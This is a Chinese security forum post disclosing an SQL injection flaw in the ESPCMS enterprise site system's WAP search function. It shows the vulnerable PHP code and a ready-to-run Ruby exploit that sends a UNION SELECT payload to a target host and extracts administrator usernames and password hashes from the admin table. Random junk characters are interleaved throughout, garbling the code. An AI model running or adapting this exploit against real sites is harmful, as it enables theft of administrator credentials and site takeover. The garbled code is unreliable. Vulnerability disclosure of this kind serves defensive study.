找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2011|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节( V, ]+ e% U4 Z1 H
0×2 PoC
) g; E% \- W8 T
: ?) y% ]* q6 d' r+ W) }& R- L0 B
8 F2 `9 X/ _5 Z# L  n7 k/ n
0×0 漏洞概述6 G# B! ]6 Z0 t* G1 Z
$ ^' f$ {: g9 e) r0 _! |. k
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。/ F1 _9 `1 u5 U
其在处理传入的参数时考虑不严谨导致SQL注入发生
+ O- k* p6 A+ e4 L2 m7 B- J3 s* B% g2 n  ^
( C. `8 M) c8 [# f* n0 S1 q
0×1 漏洞细节
) [5 H1 q( j% h( L4 f/ B4 b2 H! _/ H( s, ]2 d4 P
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
' ]8 j% T) ^$ C2 p4 s+ V正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。9 F4 H$ }3 ~; R9 A$ x
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入* q  q6 p+ l- R, ~4 t

  b4 A6 L( G  y( E0 R/ g$ ~/ p在/interface/3gwap_search.php文件的in_result函数中:
8 X: V2 G" a) k( ^( e, e# P+ B+ \- g, v( A6 ^! B7 o

2 Q+ }& Q) K: ?2 E$ k4 o1 q' l. ^" ?# [. E
       function in_result() {
: M' }) V5 q2 v& H3 A            ... ... ... ... ... ... ... ... ...
% v% i1 `" P# h6 A            $urlcode = $_SERVER[ 'QUERY_STRING '];
' [1 t( k9 ^: @! r3 U* i% A$ A            parse_str(html_entity_decode($urlcode), $output);
/ c0 k# }6 d9 ~8 r$ y: [  z" X$ d) }4 H( B8 f( t
            ... ... ... ... ... ... ... ... ...
! i5 m+ b( v. k( k5 F: N            if (is_array($output['attr' ]) && count($output['attr']) > 0) {) |# u1 L4 {( u$ H4 \* S, }) U
9 M. Q  H, ?0 x8 ?
                  $db_table = db_prefix . 'model_att';2 c6 J% {+ n% `, v8 n2 j7 F
- r4 s% C8 v3 [# z+ p; u5 g
                   foreach ($output['attr' ] as $key => $value) {
/ T5 r+ A) {: _                         if ($value) {
5 H. [* R$ U1 E) r
$ A: {$ N; M) I$ g" N                              $key = addslashes($key);
. Z4 A% i) I2 k+ f* {9 U: T% F                              $key = $this-> fun->inputcodetrim($key);' N! F8 A0 |1 k
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
2 B' [6 v, t4 D3 }                              $countnum = $this->db_numrows($db_table, $db_att_where);# M8 u1 b: A8 y, u3 {
                               if ($countnum > 0) {8 t9 [, g1 q) V4 P4 _
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
9 [2 O, T0 M8 T2 \  h4 }, q/ j9 H                              }
5 x# B  {& n5 ^2 [                        }9 x9 g3 }5 J" S& ?. y
                  }; ^. [; G: u: Q) I5 R
            }' }* t. \* \( e) R  @
            if (!empty ($keyword) && empty($keyname)) {2 N  u% H1 x% t/ T% X
                  $keyname = 'title';
/ d2 r$ M3 v: Y8 e6 H( V" r! [                  $db_where.= " AND a.title like '%$keyword%'" ;6 k5 ~2 G4 z& U7 }# u( ^( P
            } elseif (!empty ($keyword) && !empty($keyname)) {+ f9 K0 F5 k! c& G% _% {
                  $db_where.= " AND $keyname like '% $keyword%'";: \$ C3 n4 O8 W% f7 L/ ]
            }& L* g$ Q( @4 x2 V& c
            $pagemax = 15;9 A1 O0 U! @- e4 @8 P

/ k' f, ^8 A: ?- {4 [            $pagesylte = 1;
0 l9 Y7 h4 h% ~
2 J& B, E6 T" u  K/ K2 c0 ]             if ($countnum > 0) {! R# ^: n* R9 k: W  |3 ~3 q
# n: W8 D5 W+ ~1 L
                  $numpage = ceil($countnum / $pagemax);
8 x4 x  P3 [3 B7 G9 `1 f            } else {, X# s7 a4 z; A
                  $numpage = 1;* I& w+ h7 `3 E3 ^# p
            }, p3 d! M9 d# w- n/ k; s+ Z
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;; W! h8 k" o- f. P7 n# ]8 h
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);4 y4 E5 i8 B6 Z: i2 R
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);9 T5 @' Z' @9 {0 Q, h  w$ S
            ... ... ... ... ... ... ... ... ...
# S. E* g5 k6 R      }9 [) R! A4 h' o  a$ m. y8 _
8 `4 w1 z0 e! e* u. _1 [

: S& j9 z+ n6 `" q0×2 PoC
6 r, a1 A- n# ?+ R
$ T) l  m) O# _. F  y# T2 z+ p' D) C" o4 f* ^
3 W0 n! ~- e- h4 k
require "net/http"* N) p6 _8 B# ?' X8 z8 Q5 ?3 u( o

. R, j9 c2 U# L  [* R9 H) \def request(method, url)8 b3 x* |/ A6 T+ @! Q" B  z: i
    if method.eql?("get")
& N% M; V# K) v- B" J; c7 {  W6 m        uri = URI.parse(url)
0 r) g; ]/ F( r; a# f        http = Net::HTTP.new(uri.host, uri.port)( {. y  j. f& w# ~7 x1 i$ X& r
        response = http.request(Net::HTTP::Get.new(uri.request_uri))% O8 @6 {: H8 T# C
        return response
' J3 `% x9 o% t; E. o1 ?    end
* E" e4 U' E7 T. }5 gend+ N3 S1 D+ i: }. I) j

: A7 G* d% S/ w& r9 Q' K/ G/ D5 fdoc =<<HERE2 n) m8 A+ }/ i1 v; S: H" P
-------------------------------------------------------5 T2 \! H6 x. [+ D* j
Espcms Injection Exploit
( h' p2 J# d" b- l5 M, UAuthor:ztz" p( e2 Y% v0 y7 q
Blog:http://ztz.fuzzexp.org/' M; V6 Z! k# w/ |3 L" I
-------------------------------------------------------
  B% K) O2 a3 J# d! }7 |+ A1 o( j- r' {# l7 @
HERE
8 o. x, s+ W. X) Z2 }5 `% e  U! Y6 U- V: ^4 a/ k
usage =<<HERE) C6 M; W% |) L  R7 W/ U) R
Usage:         ruby #{$0} host port path6 v* o: p5 p, d2 \: L. g6 B: K
example:     ruby #{$0} www.target.com 80 /+ k: @" \9 U  d) D* u8 R
HERE
: N! C8 Z1 M4 k7 A) L% A$ `5 C' j$ }
puts doc
( T- y) u- ^' zif ARGV.length < 3
/ r, y1 t3 s1 v1 w    puts usage
4 t$ N) Z$ I2 z; B0 |# melse2 [# s6 n1 w3 ?3 s1 H4 g
    $host = ARGV[0]
- ~' ^1 a& \5 u    $port = ARGV[1]# |7 I. ]* W$ w8 C
    $path = ARGV[2]
+ P) x+ n+ E6 l+ a) c$ d( R" `/ f8 @3 X5 R. v8 s  E8 m
    puts "
  • send request..."
    ( \1 L; p0 D. s& o2 o- R    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    ; h* A8 L* ]7 r% h5 J# x8 J- R6 eattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    7 c# p' ]4 v* ^& u& ?4 o. }6 f,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,276 Y$ B, A2 |8 l2 z7 b* L! [! W- d
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"/ r2 q! [6 D. v1 B+ u& }/ |
        response = request("get", url)
    ) Q  W$ Z- p# t/ G# m    result = response.body.scan(/\w+&\w{32}/)
    6 u2 d3 ~3 R- V  ~7 z8 `1 E    puts result
    7 h/ U7 h: @4 @) F2 jend
    3 N& i/ W" {% k6 \
    5 {' ^$ ^  W- W5 U
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表